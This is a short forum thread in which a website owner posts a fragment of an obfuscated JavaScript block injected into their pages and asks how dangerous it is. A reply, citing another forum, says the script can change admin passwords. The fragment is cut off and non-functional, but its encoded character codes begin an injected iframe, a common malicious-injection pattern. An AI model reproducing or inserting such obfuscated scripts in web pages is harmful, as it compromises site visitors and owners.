how dangerous is this?

[Ironside]

I'd been having a bit of time lately with malware on some of my websites. I've scanned my computer with three programmes and it seems clear for the moment. However, I noticed something on a website yesterday. It is a script tagged  onto the end of the some of the pages. Could someone tell me how dangerous this script is please? I've only put a portion of it here, it is actually very very long

<script type="text/javascript">var kBcbixsouogTfIchnyMH = "kV60kV105kV102kV114kV97kV109kV101kV32kV 119kV105kV100kV116kV104kV61kV34kV52kV56 kV48kV34kV32kV104kV101kV105

[Karnac]

According to another forum it's dangerous and capable of changing administrative passwords.....

http://www.rockettheme.com/forum/index.php?f=21&p=339743&rb_v=viewtopic


Follow the guidelines and a specialist will review your logs in turn....just to be sure your PC is clean.

http://www.computerhope.com/forum/index.php/topic,46313.0.html